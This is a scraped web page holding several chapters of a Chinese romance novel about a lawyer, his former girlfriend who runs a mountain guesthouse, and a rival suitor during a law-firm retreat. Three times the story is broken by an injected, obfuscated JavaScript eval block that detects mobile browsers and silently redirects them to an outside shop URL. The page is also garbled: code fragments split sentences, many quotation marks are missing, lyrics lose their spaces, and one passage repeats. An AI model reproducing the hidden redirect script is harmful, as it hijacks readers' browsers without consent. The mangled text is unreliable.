;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134932|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨,正好和从民宿出来的段允谦碰个正着。 贺淮钦现在已经不是段允谦的甲方了,段允谦没有搭理他的义务,他看也不看贺淮钦就要出去,贺淮钦却先开口叫住了他。 “段设计师。” 段允谦转过来,看着贺淮钦:“贺先生,有什么赐教?” “我以为你回沪城了,没想到你还在这里,是打算在这里玩一段时间?”他其实想问的是,段允谦到底还想在温昭宁身边赖多久。 贺淮钦原本以为,酒庄项目换了设计团队,段允谦就会 离开悠山,谁知道他竟然还在民宿里住着。 “我没有回沪城,贺先生很失望是吗?段允谦直接把话挑开了,“我知道,贺先生不想让我负责酒庄的设计工作,就是不想看到我和昭宁姐共事,可我难以理解的是,既然你们都已经分手了,为什么你还要在意她和什么人接触?是你占有欲作祟?还是对她余情未了? “你丢了酒庄的设计工作,单纯是你的设计图不过关。 “是,我的设计图是有问题,但再大的问题都可以沟通解决,而你从一开始就没有打算给我沟通解决的机会。段允谦顿了顿,“但遗憾的是,你可以把我从那个项目里剔除,可你没有办法把我从她身边赶走,因为你,现在已经不是她的男朋友了,你没有资格。 贺淮钦蹙眉,眼神里透出一丝冷意:“我不是她的男朋友,你也不是。 “我们不一样,你,是昭宁姐的过客,而我,还有的是机会追求她。 “过客两个字精准地扎进了贺淮钦心脏最脆弱的地方。 他脸色骤变:“追求?你确定她喜欢你吗? “她现在不喜欢我也没关系,我可以等她慢慢喜欢我。段允谦扶了扶眼镜,镜片后的目光清亮又直接,他毫不避闪地迎上贺淮钦那双翻涌着风暴的眼睛,“我承认,论物质条件,论社会地位,我比不过你,但是,论对昭宁姐的真心,我未必输给你。我相信,总有一天,昭宁姐会看到我的真心。 第109章 亲力亲为的好老板 酒庄更换新的设计团队后,下午,大家在镇政府的会议室里又碰了一个头。 了解之后,温昭宁才知道古达是个知名的酒庄设计师,他出生于酿酒世家,后专攻建筑与室内设计,尤其擅长将传统酿酒工艺与现代美学完美融合,古达的设计作品遍布法国勃艮第、美国纳帕谷和澳大利亚巴罗萨谷等世界顶级葡萄酒产区,每一个经他手的酒庄,都不仅是一处生产佳酿的工坊,更是一件融合了当地风土、历史文化和当代审美的艺术品。 “他一定很贵吧?”副镇长在看过古达的履历和设计作品后,悄悄地询问温昭宁。 “听说是免费的。”温昭宁说,“我上午和他去酒庄的时候问过他了,他说自己欠贺先生一个人情,这次过来帮忙,就是为了还人情,不收一分钱的。” 副镇长“啧啧”两声:“免费的才是最贵的,贺先生一个人情的含金量不容小觑。” 温昭宁想想也是。 不知是多大一个人情,才能把这样一位大师级别的设计师请来悠山这样的山村里设计一个酒庄。 因为古达有着丰富的酒庄设计经验,整个会议的节奏完全由他把控,一切都很顺利,之前意见颇多的贺淮钦,这次开会,也全程只是旁听,没有发言。 开完会,副镇长又和古达寒暄了几句,大家就都散了。 温昭宁刚走出会议室,就看到段允谦开车来接她了。 “昭宁姐。”段允谦一看到她就露出了温和的笑意,“怎么样?会议还顺利吗?” “顺利,你怎么来了?” “我来镇上买点东西,鹿鹿说你在这里开会,就想着顺路把你带回去。”他说着,已经侧身引路,为温昭宁打开了副驾驶座的车门。 “谢谢。” “客气什么。” 温昭宁上车,段允谦绅士地替她护了一下车顶,然后关上车门。 这一幕,清晰地落在了几步之遥的贺淮钦眼中。 他看着段允谦和温昭宁如此熟稔又亲近的互动,一股混合着酸涩、恼怒,以及连他自己都说不清道不明的焦躁感,如同野火般在他胸腔里燎原。 一直默默观察着老板反应的陈益,慢慢踱步到贺淮钦的身边,他顺着老板视线的方向,看了一眼开远的沃尔沃,又 瞥了瞥自家老板那副山雨欲来的冷脸,轻声地说:“贺律,也不怪人家有时间献殷勤,原本酒庄的设计工作给人家挺好的,谁让你把人家项目给搅黄了,这不,工作没了,时间可不就空出来追求温小姐了?” 陈益的话音落下,走廊里的空气仿佛又冷了几度。 贺淮钦猛地转过头,凌厉的目光扫过陈益,陈益立刻收敛了表情,恢复了一本正经的助理模样。 “你别生气,我只是替你着急,你看那个段设计师现在往民宿里一住,这不是近水楼台嘛。” 贺淮钦沉默了片刻,忽然问:“年底律所团建,地点定好了吗?” “还没,挑了几个地点,还在商量。” “通知下去,团建就定在安宁小院。” “是,贺律。”—— 酒庄的事情处理好后,温昭宁回到了民宿。 时值腊月,年关的寒气仿佛浸透了山间的每一寸空气,前些日子,还偶有零星的客人来山里寻静,这两天人越发的少了。 原本在民宿的客人,也都陆陆续续退了房,或赶回家去团圆,或转向了更温暖热闹的度假地。 淡季的亏损比温昭宁预想的要严重一些,但好在,自媒体那块的收入,可以填补缺口。 “昭宁姐,一楼又有两个客人要退房,现在,只剩下段先生和古先生两个人在住,古先生明天也要走,我们的民宿基本都空了。”鹿鹿的声音带着些许愁意。 “没事,开门做生意,总有淡季和旺季,淡季我们就养精蓄锐,这样才有更充足的精力去迎接旺季的到来。” “嗯。” “等下通知阿姨把退房的房间仔细打扫一遍,你去检查好水电暖气。” “好的。” 两人正说着话,院子外传来了汽车停下的声音。 “是不是有新客人来了?”鹿鹿眼睛发亮。 温昭宁抬头朝门口看去,发现是陈益来了。 “陈助理,你怎么来了?”温昭宁迎出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134933|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “来照顾温老板的生意啊。”陈益开玩笑。 “欢迎欢迎。”温昭宁看着陈益问,“你要入住?” “不不不,不是我要入住,是耀华律所沪城办公室年底想组织一次团队建设活动,贺律亲自敲定了 贵民宿,不知道民宿近期是否有合适的档期包场,我们大概有十八个人左右,住两晚。” “十八个人?可我们民宿一共也就只有八个房间,而且有一个房间有客人在住。”鹿鹿说。 “没关系,贺律的意思是,有多少房间就订多少房间,剩下的人他到时候会安排房车露营,正好,民宿外面有块空地,停十几辆房车绰绰有余。” 温昭宁迟疑了一下,耀华律所那么高端的律所,怎么会跑来悠山的民宿团建? 贺淮钦他想干什么? “陈助理,你能照顾我的生意我很感激,但是,我必须丑话说在前头,我们民宿的定位和提供的服务,可能未必符合贵律所高标准团建需求。” “这个请温老板放心,我们这次团建,贺律特别强调要接地气,他希望温老板能帮忙策划一些更有“年味”和“山野趣味”的小活动,让同事们都彻底放松一下,体验一个不一样的年末,费用不是问题。” 情感上,温昭宁并不想让贺淮钦又一次成为自己的甲方,可是,她看了看空荡荡的前厅和寂寥的院子,理智告诉她,她不能拒绝这一笔雪中送炭的生意。 “好。”温昭宁开口,“既然贵所选择了我们民宿,那我们一定全力配合,争取给大家最好的体验,我这就安排人准备房间和后续事宜,详细的日程和需求,我稍后和陈助理对接。” “哦,团建这件事情我们贺律相当重视,所以细节方面,还请温老板和他本人对接。” “他还管团建的事情?” 陈益笑了笑。 律所成立的这几年,贺淮钦从来没有管过团建的事情,但是,这次因为对接人是温昭宁,所以老板主动把对接的活揽了过去。 他爱干就让他干呗。 “是的,我们贺律,就是这样一个什么事都亲力亲为的好老板。” 第110章 你脸红什么 民宿开业以来,还从来没有接到过律所团建这么大的单子,温昭宁不敢怠慢,当天晚上,就开始做活动策划,列出了待办事项清单。 除了最基础的住宿安排,餐饮是这两天的重中之重,食材必须新鲜、充足,既要突出本地特色,又要兼顾城市精英们的口味和可能的忌口。 温昭宁又拟了一个菜单,她决定在联系镇上的食材供应商之前,先和贺淮钦对接一下。 第二天上午,温昭宁给贺淮钦发了信息,问他什么时候有空,想和他通个电话对接一下团建活动的安排。 贺淮钦回得很快:“现在有空。” 温昭宁收到信息后,就立刻拨了语音电话过去。 可是,贺淮钦直接按掉了。 他什么意思?不是说有空吗?怎么又不接? 温昭宁正奇怪,下一秒,贺淮钦就把电话拨回来了,不过,他拨回来的不是语音电话,而是视频电话。 温昭宁不明白,语音电话也能说清楚的事情,为什么非得打视频电话? 她犹豫了一下,还是按了接通键。 视频电话接通,画面清晰的瞬间,贺淮钦那张极具冲击力的帅脸,占满了整个屏幕。 他显然是在办公室里,背后是巨大的落地窗和模糊的城市天际线,他穿着挺括的白色衬衫,领带系得板正,可能是刚结束一场会议,他的眉宇间还带着一丝未散的专注和疲惫,但那双深邃的眼睛,却在摄像头对焦的瞬间,直直地朝她看了过来。 两人的距离,好像瞬间就被拉近了。 温昭宁的呼吸有片刻的凝滞,她将自己的视线聚焦在贺淮钦的下巴以下,有意避开了那双仿佛能洞穿人心的眼睛。 “贺先生,你好,关于律所团建活动的安排,我现在和你做个简单的对接。” “好。” 温昭宁开始有条不紊地陈述,从住宿分配到餐饮安排,从围炉煮茶的具体茶品到烧烤派对的特色食材,从篝火晚会的安全措施,再到星空露营的备选方案…… 她语速平稳,逻辑清晰,每一个细节都是精心思虑过的,然而,屏幕那头的贺淮钦却似乎对她的汇报内容并不十分在意。 他既没有打断她,也没有发表任何意见,就那么靠在宽大的皮质办公椅里, 一只手随意地搭在扶手上,另一只手把玩着钢笔,他的目光,自始至终都牢牢地锁定在手机屏幕上,也就是锁定在她的脸上。 明明隔着一方屏幕,可温昭宁还是能感觉到他目光里的温度。 谁能顶住这样一双深邃好看的眼眸一直看着自己? 温昭宁说着说着,声音不自觉地越来越轻,越来越快,她能感觉到,自己的脸颊在不受控地升温,耳根子那点粉色逐渐蔓延,变得滚烫。 她试图将注意力完全集中在手边的方案稿上,忽略屏幕上那张存在感极强的脸和那道如有实质的目光,可是,越是想要忽略,那视线带来的灼热感就越是清晰。 “贺先生,我这边给出的方案差不多就是这样,不知道你有没有什么补充?温昭宁看向他。 “温老板。他终于开口,声音透过听筒传来,比平时更加低沉清晰,带着一点点电流的质感,擦过她的耳膜,“你脸红什么。 温昭宁没想到贺淮钦隔着屏幕都能看出来她脸红,她假装自己没有听到,强装镇定,迎上贺淮钦的目光。 “如果贺先生对活动安排没有其他疑问,我这边就先挂了。 贺淮钦还有其他事要处理,正打算要挂,忽然从视频里瞥见了一个修长挺拔的身影,正朝温昭宁这边走过来。 是段允谦。 这段允谦一看就是来找温昭宁的,贺淮钦心头那点焦躁的刺挠感瞬间又冒出来。 “等一下,温老板,我还有几点要补充。 “好的,你请说,我记录一下。 “首先,围炉煮茶的茶叶,除了你刚才提到的那几种,再加一种年份久一点的普洱,我有个同事好这口,茶点里的坚果,不要美国杏仁,换成本地山核桃。 “好。 “烧烤派对,烤炉的炭火准备两种,一种果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134934|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木炭,一种备长炭,风味不同。另外,烤鱼除了你之前定的河鲜,再想办法弄几条新鲜的海鲈鱼,空运过来,费用我出。 “好。 “早餐便当里的牛奶,都换成低脂的,还有,露营的帐篷牌子和型号发我,我看一下防风等级…… 他一口气说了好几条要求,温昭宁的水笔在纸上“唰唰唰地记录着。 等贺淮钦说完,两 人的通话时长在原有的基础上又增加了半小时。 温昭宁其实头都大了但一想到他支付的价格她又耐着性子问:“贺先生请问你还有什么其他要求吗?” 贺淮钦看了一眼镜头视频里段允谦早已经走开。 很好总算把这个男人给熬走了。 “暂时就这些。” “好的那先这样贺先生如果想到其他要求 “嗯。” 温昭宁挂了电话立刻开始整理贺淮钦新增的要求。 首先时间最赶的肯定是需要空运的食材她正准备打电话和海鲜市场的老板沟通段允谦从外面走了进来。 “昭宁姐还在忙团建的事情吗?” “是的。” “我听说是个大单你这边人手够用吗?” “说到这个我正头疼呢人手确实很紧张。”温昭宁说“我们民宿本来人就不多现在忽然要搞这么大的活动厨房、服务、后勤和活动协调到处缺人我打算到时候让我妈和我舅舅他们都来帮忙再从外面请一个专门的茶艺师和一个帮着烧烤的人。” 段允谦安静地听她说完忽然问:“那需要我帮忙吗?” “你?你怎么行呢?你可是我的客人。” “除了客人这个身份之外我也是你的朋友啊而且你给我房费打折我肯定也要回馈一些体力。” “你愿意帮忙那肯定好啊但律所那边是贺先生你不介意吗?”有酒庄的设计项目在前温昭宁担心段允谦见到贺淮钦会膈应。 “不介意我是帮你又不是帮他。” “好那你这个送上门来的壮丁我就不客气了。” 第111章 帮手 律所团建那天,天气晴得格外好。 冬日的阳光虽然力道不足,但金灿灿地铺洒下来,将整个小院都点亮了。 将近中午时分,几辆宽敞舒适的商务车相继停在民宿的门口,一群衣着光鲜亮丽,气质干练的男男女女陆续下车,他们每一个脸上都带着都市精英特有的神采,有人提着行李箱,有人带着电脑包。 随着这些客人的涌入,小院的空气里瞬间漂荡起高级香水和咖啡的味道。 “哇!这空气……”一位看起来四十出头的女律师深深吸了一口气,闭上眼睛,脸上露出陶醉的表情,“真的和沪城完全不一样,这空气质量,清冽得跟水洗过一样,一点尘土味都没有。” “是啊,感觉吸入肺里空气都是甜的!”旁边一位律师附和,“我昨晚赶文件到三点,原本头胀的不行,现在站在这里,居然觉得精神好多了!” 这些律师一边欣赏着美景,一边压低了声音开始调侃走在最前面的贺淮钦:“难怪贺律能在这儿一待就是一两个月,我之前还纳闷呢,咱们贺律那工作狂的劲头,怎么可能舍得放下手头上那么多的大案子,跑来乡下休养,现在我明白了,这哪里是休养,这分明是给自己找了一个世外桃源充电桩啊。” “诶诶诶,你们看,是这颗枣树吧?”有人指着小院里的枣树,“当初每次和贺律开视频会议,他都坐在这棵枣树下。” “是是是,我也记得这棵枣树。” “这里环境是好,但光是环境好够吗?贺律那性子,能在这里静下来,恐怕不全是山水的原因。”那律师说完,疯狂朝廖平律师使眼色,“是吧,廖律师?” 廖平自从代理了老板的抚养权争夺官司后,现在几乎成了全律所八卦的对象。 大家都争相想从廖平口中套出话来,那个睡了贺淮钦又带球跑的女人,到底长什么样? 廖平哪里敢在背后嚼老板和当事人的舌根,他嘴严得很,每次同事问起,他都只回答两个字“漂亮”,具体怎么个漂亮法,他是绝不肯多说一个字的。 今天,答案终于要揭晓了。 正当大家又好奇又期待的时候,大厅的流苏门帘被一只白皙的手轻轻掀开,温昭宁从里面走了出来。 “大家中午好,非常欢迎大家来这里团建,我是民宿的负责人,我叫温昭宁。”温昭宁的声音清亮悦耳,带着山泉般的润泽。 众人的目光一齐朝温昭宁汇聚过来。 温昭宁穿着一件质地柔软的米白色羊绒衫,下面是一条灰色的半身长裙,很简洁的打扮,却勾勒出她纤细挺拔的身形。 她的长发松松的绾在脑后,几缕碎发随意地垂在颈边,衬得脖颈线条越发优美。 整个小院,有那么几秒,陷入了奇异的安静,只有壁炉里木炭燃烧的噼啪声和茶水在壶中翻滚的细微咕嘟声。 之前所有好奇的、揣测的、甚至带着些许审视和偏见的目光,在看到温昭宁本人的那一刻都凝固了,随即,被一种近乎惊艳的震惊所取代。 眼前的女人,不是想象中楚楚可怜的小白花,也不是工于心计的艳丽玫瑰,她整个人都散发着一种明媚张扬却又大气沉静的美。 那种美,不是精心雕琢的妆容堆砌出来的,而是骨子里透出来的灵秀。她的五官精致得无可挑剔,组合在一起,既有女性的柔美,自带一份英气和疏朗,那双眼睛,尤其好看,亮得像是落进了星子,眼神干净坦荡。 而且,她笑起来还有梨涡。 众人都在心底感慨,原来,贺淮钦看上的,是这样的女人。 难怪。 “之前还以为贺律被坑了,现在才知道,这一波,贺律不亏啊。” “我震惊了,我原本以为贺律长成那样谁来都是低配,没想到这个世界上真的存在颜值和气质都与他旗鼓相当的人,甚至那股子‘劲劲’的感觉都和贺律好像。” “两个颜霸,难怪能生出那样颜值的女儿。” 众人都在悄声嘀咕的时候,贺淮钦已经走到了温昭宁的身边。 “都准备好了吗?” “贺先生放心,都已经准备好了,现在就看你怎么安排谁住民宿的房间,谁住房车了。” “这个来时都已经商量好了,女士住民宿的房间,男士睡房车。” “好。” 各位律师在温昭宁和鹿鹿一行人的指引下,放置好了各自的行李,大家都回到了民宿的小院,坐在矮几旁,开始围炉煮茶。 温昭宁和她请来的茶艺师穿梭在小院中,为大家沏茶,端送糕点,忙得团团转。 贺淮钦和几个年长的律师坐在枣树下的一处茶桌旁,看似参与着大家的谈话,但目光却不由自主地追随着温昭宁的身影。 就在这时,大厅通往庭院的那扇木门被轻轻地推开了。 一个高大的身影端着一个大大的原木托盘,侧身走了进来,托盘上堆满了山核桃、炒松子和本地特有的小榛子等坚果。 是段允谦。 段允谦脸上带着笑意,动作麻利地将托盘放在女律师她们那一张矮几上。 “各位律政佳人们,这些坚果都是今年新收的,尝尝鲜吧。”他的声音洪亮热情,瞬间吸引了桌上几位女律师的注意。 “哎哟,民宿里不止有美女,还有小帅哥呢。”段允谦的颜值虽然不如贺淮钦,但这清俊儒雅的气质,还是让人眼前一亮。 “这一趟来值了!来值了!” 贺淮钦瞳孔一震。 段允谦怎么会在这里,还端着坚果,一副他是民宿内部人员似的。 “小帅哥,你是民宿的工作人员吗?”有一位女律师开口问。 “我不是民宿的工作人员,我是温老板请来的帮手。”段允谦笑着说,“这两天我会和温老板一起服务好大家,大家有什么需求,尽管开口,要是温老板忙不过来,我也可以代劳。” 段允谦那熟稔的语气,听在贺淮钦的耳朵里,刺耳的不得了。 温昭宁请他来做帮手? 第112章 你到底在不爽什么 段允谦细心又嘴甜,把那几位女律师哄得很高兴。 温昭宁见他在小院控场,赶紧趁空去后厨确认傍晚的烧烤食材到位情况。 她刚拿上清单,走到拐角处,就撞在了一堵高大的肉墙上。 “诶!” 温昭宁差点趔趄,那人伸手扶稳了她。 她一抬头,看到是贺淮钦。 贺淮钦也不知道站在这里多久了,额发被风吹得微乱,眼底更是沾染上了几分寒意。 “你怎么在这里?”温昭宁站稳后推开他的手。 “为什么让他来做你的帮手?”贺淮钦开口,带着几分隐忍的烦躁。 温昭宁反应了几秒,才意识到贺淮钦口中的“他”是指段允谦。 “贺先生,我们民宿本来人手就少,这次团建活动多,时间又紧,只有我们几个忙不过来,允谦他正好没事,又愿意帮忙,我就请他过来了。” 她的解释合情合理,语气也是公事公办的平淡。 可这根本不是贺淮钦想要的答案。 段允谦闲着没事就让他来帮忙?这意思就是,他不让那小子负责酒庄的设计工作,还是为他人做嫁衣了? “人手不够,可以临时雇人,民宿开张这么久,难道连几个临时工都找不到,非要找他?” 温昭宁觉得这人简直莫名其妙:“随便找几个临时工我又不知晓人家的品行,又要额外支付雇佣费用,允谦来帮忙,我至少熟悉他的为人,而且他做事靠谱,还不需要我付工资,我觉得这是目前最合适也最高效的安排,你有什么不满意的?” “我就是不想在这里看到他。” 不想看到他? 这算哪门子理由? 温昭宁差点被气笑了:“贺先生,贵律所来预约团建活动之前,允谦已经入住民宿了,你是我的客人,他也是我的客人,我总不能因为你,把他赶走吧?而且,允谦他到底哪里碍着你了?” 贺淮钦一时无言。 “你又不可能是因为他住在民宿每天和我朝夕相对而吃醋,也不可能因为我一口一个允谦不开心,更不可能因为他给我做帮手而嫉妒。所以我真的不明白,你到底在不爽什么?” 这台词听着耳熟。 贺淮钦脸色铁青。 他的脸色越难看,温昭宁越来劲:“再说了,我和允谦是雇佣关系也好,是纯粹的帮忙关系也好,那都是我们的自由,贺先生肯定不会有任何兴趣,既然你没有兴趣,那你又何必浪费你的时间和精力来拦着我质问我?” 贺淮钦冷笑一声。 以子之矛攻子之盾,这一招算是被她玩明白了。 那些他说过的话,现在,她删删改改,全都一股脑地砸了回来,怼得他哑口无言。 “温老板真是伶牙俐齿。” “谢谢夸奖。”温昭宁朝他亮了一下手里的那张食材清单,“贺先生还有什么事吗?如果没事,可以让开了吗,我要去忙了。” 贺淮钦侧身。 温昭宁快步从他身边经过。 -- 傍晚,小院秋千架旁的一块空地被清理出来,架起了几个烧烤炉。 温昭宁和段允谦抬出一张长桌,铺上素雅的蓝印花布,将新鲜送过来的食材全都放到桌上。 等食材全都摆放好,她正要折回大厅去搬炭,一转身,发现贺淮钦已经把两箱炭都搬过来了。 他脱了外套,自然地蹲下身,打开了炭箱的盖子,用旁边的火钳从里面夹出几块大小合适的果木炭放进烧烤炉内。 “哎哟贺律,你怎么还亲自上手了?”他身旁的年轻律师小贾见状,赶紧伸手欲抢贺淮钦手里的火钳,“来来来,我来我来。” “小贾。”小贾的带教律师傅律师朝小贾招招手,“你先过来一下。” “怎么了傅律?” 傅律师把小贾拉到一旁,轻声对他说:“你能不能有点眼力界?” 小贾惊讶:“我第一时间发现老板在干杂活,立刻把活抢过来,我难道还不够有眼力界?” “你没看出来贺律是想在温老板面前好好表现一下吗?” 小贾更惊讶了:“干杂活表现一下?” “那是因为温老板身边那个男的一直在帮她干杂活,贺律在和他竞争。” 小贾想了想:“这难道就是传说中的雄竞?” “差不多吧,男人的胜负欲上来的时候,别说干杂活了,对方踩到一坨狗屎,他都想去踩一坨比对方更大的。” 小贾没谈过恋爱,也不知道师傅说得到底对不对。 “那我现在……” “你现在千万别去抢贺律的活,有这个时间不如好好好想,怎么让贺律展示一下自己的才华,好在温老板面前博一波好感。” “……” 小贾是个听劝的,十分钟后,他去商务车上把自己的木吉他和一套简易的便携音响设备拿了下来。 “贺律,给大家表演一首歌助助兴吧!”小贾晃了晃手里的吉他冲着贺淮钦喊,“去年年会的时候,你在台上弹唱,可把我们都迷死了!” “就是就是,还想听!” “贺律来一个!来一个!” 众人开始起哄。 贺淮钦蹙眉,心想他现在盯着那段允谦都来不及,哪里有心情唱歌,可就在他开口想拒绝的时候,目光忽然瞥到了温昭宁。 温昭宁原本在烤炉边帮忙烤肉串,听到大家的起哄声,目光也跟着移过来,落在了贺淮钦的身上。 “温老板,有没有听过我们贺律弹吉他唱歌?”有人朝温昭宁喊过去。 温昭宁摇摇头,说:“没有。” 这个真没有。 她和贺淮钦交往的时候,她就知道贺淮钦家境清贫,从小到大没有学过任何乐器,每次他们班上有什么活动或者有人想邀请贺淮钦一起去KTV唱歌,他也都是拒绝的。 温昭宁一直以为贺淮钦五音不全。 毕竟,老天给了他那样的脸和那样的智商,总要给他关上一扇什么窗才算公平。 可现在,他们说贺淮钦很会唱歌,把人都迷死了? 难以置信。 “那温老板想不想听?” 温昭宁点点头,说:“想!” 这个时候,无论她想不想都得说想,不然,多扫大家的兴啊。 不过,她也是真的想。 贺淮钦原本都要拒绝了,听到温昭宁说想,他迈腿走到了小贾面前。 “吉他给我。” 第113章 烫伤膏 “哇哦哇哦!” 众人的情绪都沸腾起来。 鹿鹿眼明手快立刻飞奔进去把前台的那张高脚凳搬了出来然后又去仓库拿来一个之前客人不要的话筒支架将小贾的话筒支了起来。 贺淮钦抱着吉他坐到高脚凳上先试了试音。 他修长的手指拂过琴弦发出几个零落的音符。 周遭的喧闹不知不觉地低下去所有人开始屏息等待着。 当第一个和弦从他指尖流淌而出时温昭宁的心一瞬就静了下去。 那旋律并不复杂带点blues的随意和沙哑质感节奏舒缓像夜色里缓缓流淌的河水。 “Igetnothingtosay(我已无话可讲) Whenthelightsgooff(当灯光熄灭时) Andthesungoesdown(当夕阳西沉后) AndIstillcan’tsleep(我依然难以入眠) Causeyoustillgotmyheart(因你仍占据我心房) ……” 他开口了。 嗓音比平时说话时更低、更沉带着一种微醺般的磁性和一点点恰到好处的沙哑不是技巧多么高超的演唱 这是温昭宁第一次听贺淮钦唱歌。 让她意外的是他唱歌竟是这样的好听。 原来老天根本舍不得给他关上任何一扇窗贺淮钦手握的就是顶配的人生剧本哪怕曾经生于寒门寒门的标签也早已被他自己撕去。 “AndIwishyoucouldstay(多希望你能留下) Butit''sjustnotthesame(可一切已不同以往)” 每一句歌词都像是一片羽毛轻轻落在温昭宁的心里。 她看着贺淮钦贺淮钦垂着眼手指在琴弦上从容地拨动他唱得很投入身体随着旋律极轻微地晃动姿态放松而恣意好像不是在表演而是在对着夕阳对着山风对着心底某个模糊的影子低声倾诉。 这样的贺淮钦慵懒、性感 、耀眼,散发着一种强烈的极具吸引力的男性魅力,那是剥离了身份、财富和地位的光环之后,属于贺淮钦的最本真的魅力。 温昭宁正看得出神,贺淮钦忽然抬头,目光穿越人群,朝她望了过来。 四目相对的那一刻,温昭宁的心跳毫无预兆地失去了控制。 “嗞啦—— 一声格外响亮的油爆声,伴随着一阵尖锐的灼痛,猛地从指尖传来。 是烧烤夹子前端不小心碰到了烧烤架滚烫的边缘,瞬间的高温燎过她的食指指腹,皮肤立刻红了一片。 火辣辣的刺痛感将她从恍惚中拽回了现实。 “昭宁姐,没事吧? “没事,允谦,我自己来…… 段允谦像是没听到她的话,反而将她的手腕抓得更紧。 “先冲水!他说着,拧开水龙头,不由分说地将温昭宁被烫伤的手指拉到了冰凉的水流下。 冷水骤然冲击到灼痛的皮肤上,带来一阵强烈的刺激,温昭宁忍不住倒吸一口凉气。 “忍着点,必须冲够时间,不然会起泡的。段允谦弓着身,比温昭宁还紧张地盯着她水流下的手指,“还好,只是碰到了一点,面积不大,冲完水再涂个烫伤膏应该就没事了。 “谢谢,我自己来就行了。 温昭宁从段允谦手里抽回了自己的手腕,刚刚整个过程,不过短短几十秒,可温昭宁看着段允谦对自己温柔又细心的模样,心里忽然泛起一丝微妙的感觉。 她想到贺淮钦曾经对她说过的那两句话。 “在你眼里他是弟弟,在他眼里你未必真是姐姐。 “他喜欢你,你看不出来吗? 当时温昭宁只觉得贺淮钦吃醋吃得太过离谱,可刚刚那一瞬,她竟然真的从段允谦身上感受到了对她的在意。 不会吧? 段允谦不是有喜欢的人吗?—— 贺淮钦全程目睹了温昭宁吃痛缩手,段允谦迅疾靠近,拉着温昭宁的手,几乎半拥着将她带去了那个露天洗手池旁。 两人的身影,迅速没入了那片相对幽暗的区域。 枣树上灯串,勾勒出段允谦低头 替她冲洗手指的专注侧脸,而温昭宁,微微侧着头,不知道低声对段允谦说着什么,两人贴得很近很近。 贺淮钦按在琴弦上的力道,无意识地失控,发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉,诧异地看向贺淮钦。 贺淮钦所有的注意力,都被洗手池边的两个人攫住了。 段允谦,又是他,这个人真的是阴魂不散,无处不在。 贺淮钦刚刚沉浸在音乐中的情绪,瞬间抽离得干干净净,只剩下满心的厌烦和憋闷,还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?”有人喊过来。 “抱歉。”贺淮钦扯了扯嘴角,弧度冰冷,毫无笑意,“突然忘了谱子,等我熟悉一下,改天再给大家弹唱。小贾,你来。” 他把吉他递给小贾,快步走进大厅。 “边小姐,给我一下医药箱。” “怎么了贺律?” “我要找一下烫伤膏。” 边雨棠还以为是他同事烫伤,快速给他找到了烫伤膏。 “谢谢。” 贺淮钦拿到烫伤膏后,径直朝洗手池方向走去。 温昭宁还在冲水,段允谦在旁陪着,贺淮钦像是没看到段允谦似的,越过了他,走到温昭宁另一侧。 “手还好吗?” 温昭宁没注意到贺淮钦过来,忽然听到他的声音,吓了一跳。 他不是在弹吉他唱歌吗? 这么快弹完了? “没事,冲一下就好了。”温昭宁说着,关掉了水龙头。 水声戛然而止,突如其来的安静,让这角落的气氛瞬间怪怪的。 温昭宁的手悬在半空,指尖湿漉漉的,滴着水珠,贺淮钦忽然扬手,握住她的手腕,将她的手拖到了他的面前。 “你……干嘛?”温昭宁浑身一僵,下意识地想要挣脱。 “别动!” 贺淮钦掏出一方手帕,替她把手擦干,然后拧开了烫伤膏的盖子,挤出一小段乳白色的膏体在指尖,动作轻柔地一点点将冰凉的膏体涂抹在她红肿的指腹上。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 替她冲洗手指的专注侧脸,而温昭宁,微微侧着头,不知道低声对段允谦说着什么,两人贴得很近很近。 贺淮钦按在琴弦上的力道,无意识地失控,发出一个突兀刺耳的音符。 正在凝神倾听的同事们下意识地蹙眉,诧异地看向贺淮钦。 贺淮钦所有的注意力,都被洗手池边的两个人攫住了。 段允谦,又是他,这个人真的是阴魂不散,无处不在。 贺淮钦刚刚沉浸在音乐中的情绪,瞬间抽离得干干净净,只剩下满心的厌烦和憋闷,还有对温昭宁烫得怎么样的担忧。 他猛地停住了拨弦的手指。 “怎么了贺律?有人喊过来。 “抱歉。贺淮钦扯了扯嘴角,弧度冰冷,毫无笑意,“突然忘了谱子,等我熟悉一下,改天再给大家弹唱。小贾,你来。 他把吉他递给小贾,快步走进大厅。 “边小姐,给我一下医药箱。 “怎么了贺律? “我要找一下烫伤膏。 边雨棠还以为是他同事烫伤,快速给他找到了烫伤膏。 “谢谢。 